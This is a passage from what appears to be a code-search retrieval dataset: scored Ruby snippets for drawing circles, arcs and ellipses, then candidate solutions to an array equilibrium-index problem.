#{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a59c29f0f3d65d93e6aa33ecf65faf98", "score": "0.47396934", "text": "def arc_pocket_adv(\r\n mill, \r\n pCirc_x,\r\n pCirc_y,\r\n pBeg_min_radius,\r\n pBeg_max_radius, \r\n pBeg_angle,\r\n pEnd_min_radius, \r\n pEnd_max_radius, \r\n pEnd_angle, \r\n pDepth = nil,\r\n pDegree_inc = nil)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n # print \"(arc_segment_pocket pDepth=\", pDepth, \")\\n\"\r\n\r\n aArc = CNCShapeArcPocketAdv.new(\r\n mill, pCirc_x,\r\n pCirc_y,\r\n pBeg_min_radius, \r\n pBeg_max_radius, \r\n pBeg_angle, \r\n pEnd_min_radius, \r\n pEnd_max_radius, \r\n pEnd_angle, \r\n pDepth,\r\n pDegree_inc)\r\n aArc.beg_depth = mill.cz \r\n if aArc.beg_depth > 0\r\n aArc.beg_depth = 0\r\n end \r\n aArc.do_mill()\r\n return aArc\r\nend", "title": "" }, { "docid": "e4effd918a49b71d9896ce387c6d1771", "score": "0.47280958", "text": "def circle(x, y, r, options={}, &block)\n cur_page.circle(x, y, r, options, &block)\n end", "title": "" }, { "docid": "ea3d06011031746da10e438be3e1a10d", "score": "0.47234318", "text": "def draw_force_circle(context, center, radius)\n rectangle = CGRectMake(center.x - radius, center.y - radius, radius*2, radius*2)\n CGContextSetStrokeColorWithColor(context,UIColor.redColor.CGColor)\n CGContextSetLineWidth(context, 5)\n CGContextAddEllipseInRect(context, rectangle)\n CGContextStrokePath(context)\n end", "title": "" }, { "docid": "573278d07bbd1f37c59ca2e7a6842806", "score": "0.47230107", "text": "def display\n fill(127)\n stroke(0)\n stroke_weight(2)\n ellipse(x, y, radius * 2, radius * 2)\n end", "title": "" }, { "docid": "469399428473395b937208d10ca93b9e", "score": "0.47091296", "text": "def draw_circle(mid_x, mid_y, radius, options = {})\n options[:border] ||= 1\n options[:border_color] ||= RFPDF::COLOR_PALETTE[:black]\n options[:border_width] ||= 0.5\n options[:fill] ||= 1\n options[:fill_color] ||= RFPDF::COLOR_PALETTE[:white]\n options[:fill_colorspace] ||= :rgb\n SetLineWidth(options[:border_width])\n set_draw_color_a(options[:border_color])\n set_fill_color_a(options[:fill_color], :options[:colorspace])\n fd = \"\"\n fd = \"D\" if options[:border] == 1\n fd += \"F\" if options[:fill] == 1\n Circle(mid_x, mid_y, radius, fd)\n end", "title": "" }, { "docid": "8ea95a942cf56d0d5137d88d6712fac0", "score": "0.4681344", "text": "def add_circle(options)\n circle = OptionsHelper.to_circle(options)\n self.add_overlay circle\n\n circle\n end", "title": "" }, { "docid": "b1ebdc497681246524070ff913a6d550", "score": "0.46710527", "text": "def bmp_circle(color = Color.new(255,255,255), r = (self.width/2), tx = (self.width/2), ty = (self.height/2), hollow = false)\n # basic circle formula\n # (x - tx)**2 + (y - ty)**2 = r**2\n for x in 0...self.width\n f = (r**2 - (x - tx)**2)\n next if f < 0\n y1 = -Math.sqrt(f).to_i + ty\n y2 = Math.sqrt(f).to_i + ty\n if hollow\n self.set_pixel(x, y1, color)\n self.set_pixel(x, y2, color)\n else\n self.fill_rect(x, y1, 1, y2 - y1, color)\n end\n end\n end", "title": "" }, { "docid": "b7cf5e18d8e1d48f9af6f9149d4474bf", "score": "0.46696195", "text": "def makeArc\r\n @entities.add_arc @centre, @vector2, @normal, @toolRadius, 0, Math::PI, 6\r\n end", "title": "" }, { "docid": "1289dcecddf9f79d8861152948466fb7", "score": "0.46656013", "text": "def draw_envelope\n\t\tdegrees_offset_per_circle = 360.to_f / CIRCLE_COUNT\n\t\tCIRCLE_COUNT.times do |circle_index|\n\t\t\t# Draw a circle in the set.\n\t\t\tline_art = Magick::Draw.new # Initialize a Magick::Draw instance, which handles line drawing\n\t\t\tline_art.fill = 'black'\n\t\t\tline_art.stroke(COLOR)\n\t\t\ty, x = point_on_base_circle(degrees_offset_per_circle * circle_index)\n\t\t\tradius = radius_from(x, y)\n\t\t\tline_art.circle(x, y, x + radius, y) # Draw a circle into the buffer\n\t\t\tline_art.draw(@image) # Write the contents of the buffer onto the final image\n\t\tend\n\tend", "title": "" }, { "docid": "3dc760f39d8676aefe7f345df3b7d966", "score": "0.46238926", "text": "def CreateCellElement3(arg0, arg1, arg2)\n ret = _invoke(1610743994, [arg0, arg1, arg2], [VT_BSTR, VT_BYREF | VT_DISPATCH, VT_BOOL])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "8866295fcde8d97d1dba2cc3a7d8d8e4", "score": "0.4611952", "text": "def draw(graphics)\n graphics.set_color @color.native_color\n if @ellipse_filled\n graphics.fill @ellipse\n else\n graphics.draw @ellipse\n end\n end", "title": "" }, { "docid": "920f4370fb110116bb50334b0357faa7", "score": "0.4609886", "text": "def circle x, y, r, c, fill = false\n screen.draw_circle x, h-y, r, color[c], fill, :antialiased\n end", "title": "" }, { "docid": "2a73bc477dfc6ee7401405ebf40c33bd", "score": "0.4591399", "text": "def svg_element(index, type, list)\n\t\tid = \"e#{index}\"\n\t\tcoords = list.map { |pair| svg_coord(*pair) }\n\t\tsvgel = case type\n\t\twhen :point\n\t\t\tpoint = coords.first\n\t\t\t# work around a bug in a lot of rendering engines, that\n\t\t\t# prevents zero-length paths from being displayed\n\t\t\tfakepoint1 = [point.first-0.01, point.last]\n\t\t\tfakepoint2 = [point.first+0.01, point.last]\n\t\t\tSVGLINE % [id, *fakepoint1, *fakepoint2]\n\t\twhen :line\n\t\t\tSVGLINE % [id, *coords.flatten]\n\t\twhen :path\n\t\t\tnodes = coords.map { |pair| pair.join(',') }\n\t\t\tif path_open? index\n\t\t\t\t# unclosed polyline\n\t\t\t\tSVGPL % [id, nodes.join(' ')]\n\t\t\telse\n\t\t\t\t# polygon\n\t\t\t\tSVGGON % [id, nodes.join(' ')]\n\t\t\tend\n\t\twhen :ellipse\n\t\t\txmin, xmax = coords.map { |pair| pair.first }.minmax\n\t\t\tymin, ymax = coords.map { |pair| pair.last }.minmax\n\t\t\tcenter = [(xmin + xmax)/2, (ymin + ymax)/2]\n\t\t\trx = (xmax - xmin)/2\n\t\t\try = (ymax - ymin)/2\n\t\t\tSVGELLIPSE % [id, *center, rx, ry]\n\t\telse\n\t\t\traise NotImplementedError, type.to_s\n\t\tend\n\n\t\treturn svgel\n\tend", "title": "" }, { "docid": "f369d0223a8f3b88a16c91ee6a9dc59a", "score": "0.4587608", "text": "def CreateBsplineCurveElement1(arg0, arg1)\n ret = _invoke(1610744121, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "2854ef4631991b95ea7200c2c2e88568", "score": "0.45827115", "text": "def test_is_polygon_with_circle\n m = Sketchup.active_model\n ents = m.entities\n\n # Create a circle\n center = [0, 0, 0]\n normal = [0, 0, 1]\n radius = 20\n ents.add_circle center, normal, radius\n\n # Check circle edges\n m.entities.each do |e|\n if e.is_a? Sketchup::Edge and e.curve.respond_to? 'is_polygon?'\n assert_equal(false, e.curve.is_polygon?,\n 'Curve of circle edge should not be polygon.')\n end\n end\n end", "title": "" }, { "docid": "d1c619ef57dbb843191d00a7eb2bf88b", "score": "0.45770305", "text": "def drawCircle(x,y,r,fillp=false,color=\"black\")\n @device.drawCircle(x,y,r,fillp,color) ;\n end", "title": "" }, { "docid": "468a1108e715f16c09319548d8972a30", "score": "0.45602417", "text": "def get_circle_area(ch, d, dir = 0)\n return Circle.new(ch.real_x / 4 + 16, ch.real_y / 4 + 16, d * 32, dir)\n end", "title": "" }, { "docid": "f722d169aa7403dba048d4d70657bf40", "score": "0.4545683", "text": "def test01()\n baseImageName = \"arrayofshapes.jpg\"\n begin\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # 1. Create the bitmap context command\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n width: 600, height: 450,\n preset: \"AlphaPreMulFirstRGB8bpcInt\", \n name: bitmapContextName)\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n theCommands.add_command(createBitmapContextCommand)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n\n # Smig.bitmapcontext_showwindow_nothrow(bitmap, \"YES\")\n # 2. Setup the array of shapes objects.\n shapeArrayDrawElement = MIDrawElement.new(\"arrayofelements\")\n redColor = MIColor.make_rgbacolor(1,0,0)\n blueColor = MIColor.make_rgbacolor(0,0,1)\n greenColor = MIColor.make_rgbacolor(0,1,0)\n shapeArrayDrawElement.fillcolor = blueColor\n shapeArrayDrawElement.strokecolor = redColor\n shapeArrayDrawElement.linewidth = 3.0\n \n # 2.1 create the fillrectangle draw element.\n rectDrawElement = MIDrawElement.new(\"fillrectangle\")\n theOrigin = MIShapes.make_point(30.0, 30.0)\n theSize = MIShapes.make_size(240.0, 180.0)\n theRect = MIShapes.make_rectangle(origin: theOrigin, size: theSize)\n rectDrawElement.rectangle = theRect\n shapeArrayDrawElement.add_drawelement_toarrayofelements(\n rectDrawElement.elementhash)\n \n # 2.2 create the stroke circle draw element.\n strokedCircle = MIDrawElement.new(\"strokeoval\")\n circleOrigin = MIShapes.make_point(40.0, 220.0)\n circleSize = MIShapes.make_size(200.0, 200.0)\n circleBoundRect = MIShapes.make_rectangle(origin: circleOrigin, \n size: circleSize)\n strokedCircle.rectangle = circleBoundRect\n strokedCircle.strokecolor = blueColor\n shapeArrayDrawElement.add_drawelement_toarrayofelements(\n strokedCircle.elementhash)\n # 2.3 create the filled triangle draw element.\n filledTriangle = MIDrawElement.new(\"fillpath\")\n triangleObject = MIPath.new\n trianglePoints = []\n startPoint = MIShapes.make_point(320.0, 105.0)\n trianglePoints.push(MIShapes.make_point(320.0, 105.0))\n trianglePoints.push(MIShapes.make_point(540.0, 190.0))\n trianglePoints.push(MIShapes.make_point(540.0, 20.0))\n triangleObject.add_triangle(points: trianglePoints)\n filledTriangle.arrayofpathelements = triangleObject\n filledTriangle.startpoint = startPoint\n filledTriangle.fillcolor = greenColor\n shapeArrayDrawElement.add_drawelement_toarrayofelements(\n filledTriangle.elementhash)\n # 2.4 create the stroked rounded rectangle.\n roundedRect = MIDrawElement.new(\"strokeroundedrectangle\")\n theOrigin = MIShapes.make_point(320.5, 220.5)\n theSize = MIShapes.make_size(240.0, 200.0)\n theRect = MIShapes.make_rectangle(origin: theOrigin, size: theSize)\n roundedRect.rectangle = theRect\n roundedRect.strokecolor = redColor\n radiuses = [ 4.0, 8.0, 16.0, 32.0 ]\n roundedRect.radiuses = radiuses\n shapeArrayDrawElement.add_drawelement_toarrayofelements(\n roundedRect.elementhash)\n # 3 and 4 done above as part of creating the objects.\n drawCommand = CommandModule.make_drawelement(bitmapContextObject, \n drawinstructions: shapeArrayDrawElement)\n theCommands.add_command(drawCommand)\n \n # Make the image exporter object command\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: :\"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n # 7. Add an image representation of the bitmap to the image exporter object\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n # 8. Save the image as jpeg.\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n $teststring = theCommands.commandshash.to_json\n Smig.perform_commands(theCommands.commandshash)\n\n origFile = File.join($compareImageDir, baseImageName)\n # 9. Compare with previously saved image.\n unless AreImageFilesSame(origFile, tempFile)\n # 10. Report if different.\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n # 11 Delete temporary files\n FileUtils.rm_f(tempFile) unless tempFile.nil?\n end\nend", "title": "" }, { "docid": "7f8669580d11d869f9fd3a3d2cb4ac1f", "score": "0.45378447", "text": "def put_draw_ellipse(name, page_name, ellipse_data, opts = {})\n data, _status_code, _headers = put_draw_ellipse_with_http_info(name, page_name, ellipse_data, opts)\n return data\n end", "title": "" }, { "docid": "73aa87e3e8f39967f922ea602bf34374", "score": "0.45303658", "text": "def Point3dOne\n ret = _invoke(1610743847, [], [])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "fc71633409d3bc7e3d0d2b59b6135a50", "score": "0.45292807", "text": "def display\n fill(50, 200, 200, 150)\n stroke(50, 200, 200)\n stroke_weight(2)\n ellipse(x, y, 16, 16)\n end", "title": "" }, { "docid": "50356f8d74d2da6159c015c5ba51edb4", "score": "0.45281616", "text": "def CreateCellElement2(arg0, arg1, arg2, arg3, arg4)\n ret = _invoke(1610743993, [arg0, arg1, arg2, arg3, arg4], [VT_BSTR, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BOOL, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "9267dcb357fd2b90ad74f7b6575e9747", "score": "0.45240915", "text": "def draw_circle_shape(circle)\n body = circle.body\n c = body.p + circle.center.rotate(body.rot)\n self.draw_circle(c.x,c.y,circle.radius,body.a)\n end", "title": "" }, { "docid": "f2138edd89bc6de8c85e90cbd0d8f871", "score": "0.4522159", "text": "def CreateCellElement1(arg0, arg1, arg2, arg3 = nil)\n ret = _invoke(1610743992, [arg0, arg1, arg2, arg3], [VT_BSTR, VT_BYREF | VT_ARRAY | VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BOOL])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "9f9733d10195d7d1590a8e3e79c03100", "score": "0.45070523", "text": "def oval(*opts, &blk)\n oval_style = normalize_style pop_style(opts)\n case opts.length\n when 3\n left, top, width = opts\n height = width\n when 4\n left, top, width, height = opts\n when 0\n left = oval_style[:left] || 0\n top = oval_style[:top] || 0\n width = oval_style[:diameter] || oval_style[:width] ||\n (oval_style[:radius] || 0) * 2\n height = oval_style[:height] || width\n else\n message = <<EOS\nWrong number of arguments. Must be one of:\n - oval(left, top, diameter, [opts])\n - oval(left, top, width, height, [opts])\n - oval(styles)\nEOS\n raise ArgumentError, message\n end\n if oval_style[:center]\n left -= width / 2 if width > 0\n top -= height / 2 if height > 0\n end\n Shoes::Oval.new(app, left, top, width, height, style.merge(oval_style), &blk)\n end", "title": "" }, { "docid": "ecc53c01b368c3ece393e861828c3f4e", "score": "0.45022076", "text": "def make_teardroppath()\n thePath = MIPath.new\n centerPoint = MIShapes.make_point(0, 0)\n thePath.add_arc(centerPoint: centerPoint,\n radius: \"$logowidth * $fraction * $r1\",\n startAngle: \"pi_2() - asin($r1 - 0.04)\",\n endAngle: \"asin($r1 - 0.04) - pi_2()\")\n\n centerPoint2 = MIShapes.make_point(\"$logowidth * $fraction\", 0)\n thePath.add_arc(centerPoint: centerPoint2,\n radius: \"$logowidth * $fraction * 0.04\",\n startAngle: \"asin($r1 - 0.04) - pi_2()\",\n endAngle: \"pi_2() - asin($r1 - 0.04)\")\n thePath.add_closesubpath()\n\n startPoint = MIShapes.make_point(\n \"$logowidth * $fraction * (1.0 + 0.04 * ($r1 - 0.04))\",\n \"$logowidth * $fraction * 0.04 * cos(asin($r1 - 0.04))\")\n return startPoint, thePath\nend", "title": "" }, { "docid": "79e1cce513e96198cd579a83bb4316fd", "score": "0.4500819", "text": "def circle x, y, r, c, fill = false\n screen.draw_circle x, y, r, color[c], fill, :antialiased\n end", "title": "" }, { "docid": "66cfcf921b205e4a03f36ddf0ef1ce63", "score": "0.44890767", "text": "def initialize(mill, x, y, \r\n pBeg_min_radius, pBeg_max_radius, pBeg_angle=0,\r\n pEnd_min_radius=nil, pEnd_max_radius=nil, pEnd_angle=360,\r\n pDepth=nil, pDegree_inc=nil\r\n )\r\n # - - - - - - - - - - - - - - - - - -\r\n \r\n base_init(mill,x,y,nil,pDepth)\r\n @beg_min_radius = pBeg_min_radius\r\n @beg_max_radius = pBeg_max_radius\r\n @beg_angle = pBeg_angle\r\n @end_min_radius = pEnd_min_radius\r\n @end_max_radius = pEnd_max_radius\r\n @end_angle = pEnd_angle \r\n @degree_inc = pDegree_inc\r\n @depth = pDepth\r\n @needs_check_parms = true\r\n\r\n #print \"(CNCShapeArc init pDepth=\", pDepth, \" @pDepth=\", @pDepth, \")\\n\"\r\n #check_parms\r\n return self\r\n end", "title": "" }, { "docid": "dc5da735f59c21faa7773087225f5fe8", "score": "0.44674695", "text": "def create_rod(sPoint, a)\r\n pts = []\r\n pts[0] = sPoint\r\n pts[1] = Geom::Point3d.new(sPoint[0] + a, sPoint[1], sPoint[2])\r\n return pts\r\nend", "title": "" }, { "docid": "c0fec12dd2d2aceb251540ccfc56843b", "score": "0.44670942", "text": "def encircle( points,\n x_start = Point.new( *([0]*points[0].size) ),\n max_iter = 100 )\n x = x_start\n y, g = nil, nil\n\n for k in 1..max_iter do\n y, g = evaluate( x, points )\n x = x - g/k\n end\n\n return Circle.new(x, Math.sqrt(y))\nend", "title": "" }, { "docid": "27e7ba3a0c3460c6fc82614b0e5f0759", "score": "0.44620645", "text": "def initialize(element, x = 0, y = 0, width = nil, height = nil)\n super()\n\n # If the element is not a group, defs, symbol, or rvg,\n # wrap a group around it so it can get a transform and\n # possibly a new viewport.\n if !element.respond_to?(:ref)\n @element = Group.new\n @element << element.deep_copy\n else\n @element = element.deep_copy\n end\n @element.ref(x, y, width, height)\n end", "title": "" }, { "docid": "2b591811f076cde7fa235558d393a27f", "score": "0.44415107", "text": "def add_ngon(center, normal, radius, numsides = 24)\n end", "title": "" }, { "docid": "2b46f0ff9e9c9c3b7102e0818d764d1a", "score": "0.44216698", "text": "def add_nose\n circle cx: 50, cy: 65, r: 4, fill: 'black'\n end", "title": "" }, { "docid": "4aed855f524ad46dedc4e2c481a0a312", "score": "0.44211107", "text": "def petunin(points)\n\tif points.size() < 4\n\t\tputs \"Error on #{__LINE__} in #{__FILE__}\"\n\t\texit(1)\n\tend\n\t#return [x,x0,y,y0]\n\trect = find_rect(points)\n\tdx, phi, coef = get_transf_coef(rect)\n\tdx.each {}\n\t#rect = translate(rect, -dx[0], -dx[1])\n\trect = rotate(rect, phi)\n\trect = scale(rect, 1.0, coef)\n\n\t#points = translate(points, -dx[0], -dx[1])\n\tpoints = rotate(points,phi)\n\tpoints = scale(points, 1, coef)\n\n\tcentre = rect[0].zip(rect[2]).to_a.map { |u,v| (u+v)/2 }\n\trs = []\n\tpoints.each do |p|\n\t\trs << [dist(p, centre), p]\n\tend\n\trs = rs.sort\n\n\tres = []\n\n\trs.each do |r,p|\n\t\tel = Ellipse.new\n\t\tel.centre = centre\n\t\tel.axes = [r]*2\n\n\t\t#back\n\t\tel.scale(1, 1/coef)\n\n\t\tel.rotate(-phi)\n\t\tres << [el,p]\n\tend\n\n\treturn res\n\n\t# For testing reasons only\n\n\t#rect = scale(rect, 1, 1/coef)\n\t#points = scale(points, 1, 1/coef)\n\t#rect = rotate(rect, -phi)\n\t#points = rotate(points, -phi)\n\t#points.map! { |x| [x] }\n\n\t#points + [rect] + res.inject([]) { |sum,el| sum + [el.get_draw_data] }\nend", "title": "" }, { "docid": "6b8dc8e24209b236be79c2cb88b8b557", "score": "0.44197783", "text": "def pie\n diameter = @options[:diameter].to_f\n background_color = @options[:background_color]\n\n create_canvas(diameter, diameter, background_color)\n\n share_color = @options[:share_color]\n remain_color = @options[:remain_color]\n percent = @norm_data[0]\n\n # Adjust the radius so there's some edge left in the pie\n r = diameter/2.0 - 2\n @draw.fill(remain_color)\n @draw.ellipse(r + 2, r + 2, r , r , 0, 360)\n @draw.fill(share_color)\n\n # Special exceptions\n if percent == 0\n # For 0% return blank\n @draw.draw(@canvas)\n return @canvas\n elsif percent == 100\n # For 100% just draw a full circle\n @draw.ellipse(r + 2, r + 2, r , r , 0, 360)\n @draw.draw(@canvas)\n return @canvas\n end\n\n # Okay, this part is as confusing as hell, so pay attention:\n # This line determines the horizontal portion of the point on the circle where the X-Axis\n # should end. It's caculated by taking the center of the on-image circle and adding that\n # to the radius multiplied by the formula for determinig the point on a unit circle that a\n # angle corresponds to. 3.6 * percent gives us that angle, but it's in degrees, so we need to\n # convert, hence the muliplication by Pi over 180\n arc_end_x = r + 2 + (r * Math.cos((3.6 * percent)*(Math::PI/180)))\n\n # The same goes for here, except it's the vertical point instead of the horizontal one\n arc_end_y = r + 2 + (r * Math.sin((3.6 * percent)*(Math::PI/180)))\n\n # Because the SVG path format is seriously screwy, we need to set the large-arc-flag to 1\n # if the angle of an arc is greater than 180 degrees. I have no idea why this is, but it is.\n percent > 50? large_arc_flag = 1: large_arc_flag = 0\n\n # This is also confusing\n # M tells us to move to an absolute point on the image. We're moving to the center of the pie\n # h tells us to move to a relative point. We're moving to the right edge of the circle.\n # A tells us to start an absolute elliptical arc. The first two values are the radii of the ellipse\n # the third value is the x-axis-rotation (how to rotate the ellipse if we wanted to [could have some fun\n # with randomizing that maybe), the fourth value is our large-arc-flag, the fifth is the sweep-flag,\n # (again, confusing), the sixth and seventh values are the end point of the arc which we calculated previously\n # More info on the SVG path string format at: http://www.w3.org/TR/SVG/paths.html\n path = \"M#{r + 2},#{r + 2} h#{r} A#{r},#{r} 0 #{large_arc_flag},1 #{arc_end_x},#{arc_end_y} z\"\n @draw.path(path)\n\n @draw.draw(@canvas)\n @canvas\n end", "title": "" }, { "docid": "d02e6d4697d8a002df2d10ee33dc97e2", "score": "0.44181576", "text": "def CreateBsplineCurveElement2(arg0, arg1)\n ret = _invoke(1610744122, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "8d431e0f8e529f1fe819adf41a132ccb", "score": "0.44024098", "text": "def create_pathdrawelement(line_width: 16.0, stroke_color: nil)\n strokeColor = stroke_color unless stroke_color.nil?\n strokeColor = MIColor.make_rgbacolor(0.2, 0.2, 0.2) if stroke_color.nil?\n arcBox = MIShapes.make_rectangle(width: $theWidth, height: $theHeight)\n startX = $theWidth * 0.5 + $radius * Math.sin(-0.75 * Math::PI)\n startY = $theHeight * 0.5 + $radius * Math.cos(-0.75 * Math::PI)\n startPoint = MIShapes.make_point(startX, startY)\n arcBBox = MIShapes.make_rectangle(width: $theWidth, height: $theHeight)\n thePath = make_arcpath(inBox: arcBBox, radius: $radius)\n pathDrawElement = MIDrawElement.new(:strokepath)\n pathDrawElement.arrayofpathelements = thePath\n pathDrawElement.startpoint = startPoint\n pathDrawElement.linewidth = line_width\n pathDrawElement.linecap = :kCGLineCapRound\n pathDrawElement.strokecolor = strokeColor\n pathDrawElement\nend", "title": "" }, { "docid": "d68cbc0dc0a21bdd86f9f30c652ff5fb", "score": "0.44000536", "text": "def ellipse(box, draw, trans)\n x, y, w, h = box.x, box.y, box.width, box.height\n use_cairo do |cc|\n cc.rotate_about(box.x, box.y, trans.angle)\n cc.move_to(x, y + 0.5 * h) # start west\n cc.curve_to(x, y + 0.25 * h, # west to north\n x + 0.25 * w, y,\n x + 0.5 * w, y)\n cc.curve_to(x + 0.75 * w, y, # north to east\n x + w, y + 0.25 * h,\n x + w, y + 0.5 * h)\n cc.curve_to(x + w, y + 0.75 * h, # east to south\n x + 0.75 * w, y + h,\n x + 0.5 * w, y + h)\n cc.curve_to(x + 0.25 * w, y + h, # south to west\n x, y + 0.75 * h,\n x, y + 0.5 * h)\n cc.fill_n_stroke(draw)\n end\n end", "title": "" }, { "docid": "4d0b93ab8ea79628737849adaa6d57c7", "score": "0.43993878", "text": "def setParticleCircle _obj, _args\n \"_obj setParticleCircle _args;\" \n end", "title": "" }, { "docid": "2693eff4b4030bb3054d26b5e01d525b", "score": "0.4383283", "text": "def place_circle(location, size, noisy_index = nil)\n\t\tradius = @max_circle_radius * size\n\n\t\t# Correctly size circle\n\t\tradius = 0.5 if radius < 0.5\n\t\t@circle.resize \"#{ radius * 2 }x#{ radius * 2 }\"\n\n\t\tx = scaled_longitude(location[1], @map_width) - radius\n\t\ty = scaled_latitude(location[0], @map_height) - radius\n\n\t\tputs \"#{noisy_index}: #{x} x #{y}\" if noisy_index\n\t\t\n\t\t@working_map = @working_map.composite(@circle) do |c|\n\t\t\tc.compose \"Over\"\n\t\t\tc.geometry \"+#{x}+#{y}\"\n\t\tend\n\tend", "title": "" } ]
9eaf8f7057dab650ced8db8805911275
You are going to be given an array of integers. Your job is to take that array and find an index N where the sum of the integers to the left of N is equal to the sum of the integers to the right of N. If there is no index that would make this happen, return 1.
[ { "docid": "0136c4ce70ac4a759a177a9899e70c33", "score": "0.77823246", "text": "def find_even_index(arr)\n left_sum = 0\n right_sum = arr.sum\n arr.each_with_index do |e, ind|\n right_sum -= e\n\n return ind if left_sum == right_sum\n\n left_sum += e\n end\n\n -1\nend", "title": "" } ]
[ { "docid": "bad8c0f418df218dfb5433929c7edf28", "score": "0.79963744", "text": "def solution(a)\n left = 0\n right = a.sum\n a.each_with_index do |element, index|\n right -= element\n return index if left == right\n left += element\n end\n -1\nend", "title": "" }, { "docid": "ecda1bced130ee47da5083f04925fb20", "score": "0.78404534", "text": "def balanced_point(array)\n (0...array.length).each do |i|\n left_sum = 0\n right_sum = 0\n (0...i).each do |j|\n left_sum += array[j]\n end\n (i+1...array.length).each do |j|\n right_sum += array[j]\n end\n if left_sum == right_sum\n return i\n end\n end\n return -1\nend", "title": "" }, { "docid": "476cb04ca2f9e2c97a355fa1ea5db7a4", "score": "0.7796083", "text": "def array_index_equel_sum_of_parts(array = [])\n raise 'incorrect array' unless array.is_a? Array\n\n array.each_index do |i|\n left_part = array[0..i].reduce { |sum, e| sum + e }\n right_part = array[i..array.length - 1].reduce { |sum, e| sum + e }\n return i if left_part == right_part\n end\n -1\nend", "title": "" }, { "docid": "aff7fb0a849717389bf611a9c00f157e", "score": "0.77629185", "text": "def find_even_index(arr)\n return 0 if arr[1..-1].sum == 0\n for n in 1..arr.size - 1\n right = arr[n + 1..-1]\n left = arr[0..n - 1]\n return n if left.sum == right.sum\n end\n -1\nend", "title": "" }, { "docid": "cb0697d9b276f31a4f4b70b4265e0684", "score": "0.762809", "text": "def equilibrium_index(a)\n return -1 if a.empty?\n sum = a.inject(:+)\n lsum = 0\n \n a.length.times do |i|\n rsum = sum - lsum - a[i]\n return i if lsum == rsum\n lsum += a[i]\n end\n \n -1\nend", "title": "" }, { "docid": "ed679c985ced6cd94851321e23965e6c", "score": "0.7544013", "text": "def find_even_index(arr)\n i = 0\n a = 0\n b = 1\n for i in 0...arr.length\n a = arr.slice(0, i).sum\n b = arr.slice(i + 1, arr.length - 1).sum\n if a != b && i == arr.length - 1\n return -1\n elsif a != b\n i += 1\n else\n return i\n end\n end\nend", "title": "" }, { "docid": "5a66640630bcaebd191f1421cbead449", "score": "0.7527803", "text": "def find_even_index(array)\n array.size.times do |i|\n left_array = array[0...i]\n right_array = array[(i+1)..-1]\n return i if left_array.sum == right_array.sum\n end\n -1\nend", "title": "" }, { "docid": "f36ae726d24d63caab0a0f19ef9925bc", "score": "0.7466616", "text": "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend", "title": "" }, { "docid": "5afd957427b226002c46a5bbbc5f6d8f", "score": "0.7432982", "text": "def find_even_index(arr)\n arr.each_index do |idx|\n return idx if arr[0...idx].sum == arr[idx + 1..-1].sum\n end\n -1\nend", "title": "" }, { "docid": "e8c2a8b22807e8c6f21a0fcbdd3c1c9a", "score": "0.73534584", "text": "def find_even_index(arr)\n arr.length.times do |i|\n if arr[0...i].reduce(0, :+) == arr[i+1..-1].reduce(0, :+)\n return i\n end\n end\n -1\nend", "title": "" }, { "docid": "c2c0171c6a2f5b3948b68e197d113da0", "score": "0.7293572", "text": "def get_correct(arr) \n arr.reduce(0) do |curr,n|\n if n.is_right == true \n curr+1\n else \n curr \n end\n end\nend", "title": "" }, { "docid": "7f80c2690b400e0c5beb819727eb0f5e", "score": "0.7197137", "text": "def find_even_index(nums)\ncheck = 0\nwhile check < nums.length\n check == 0 ? left_sum = 0 : left_sum = nums[(0)..(check-1)].sum\n check == nums.length-1 ? right_sum =0 : right_sum = nums[(check+1)..-1].sum\n return check if left_sum == right_sum\n check +=1\nend\nreturn -1\nend", "title": "" }, { "docid": "e637456d94903dc45f93fc154b8cd624", "score": "0.71926296", "text": "def seesaw2?(arr)\n left_sum = 0\n right_sum = arr.size > 1 ? arr[1..-1].reduce(:+) : 0\n\n arr.each_index do |i| #O(n)\n return true if left_sum == right_sum\n left_sum += arr[i]\n i < arr.size-1 ? right_sum -= arr[i+1] : right_sum = 0\n end\n return false\nend", "title": "" }, { "docid": "23784f58df863a59355ad5030cd52876", "score": "0.71773255", "text": "def find_even_index(arr)\n middle_index = 0\n\n loop do\n left_set = arr[0...middle_index]\n right_set = arr[(middle_index + 1)..arr.length - 1]\n\n return middle_index if left_set.sum == right_set.sum\n\n 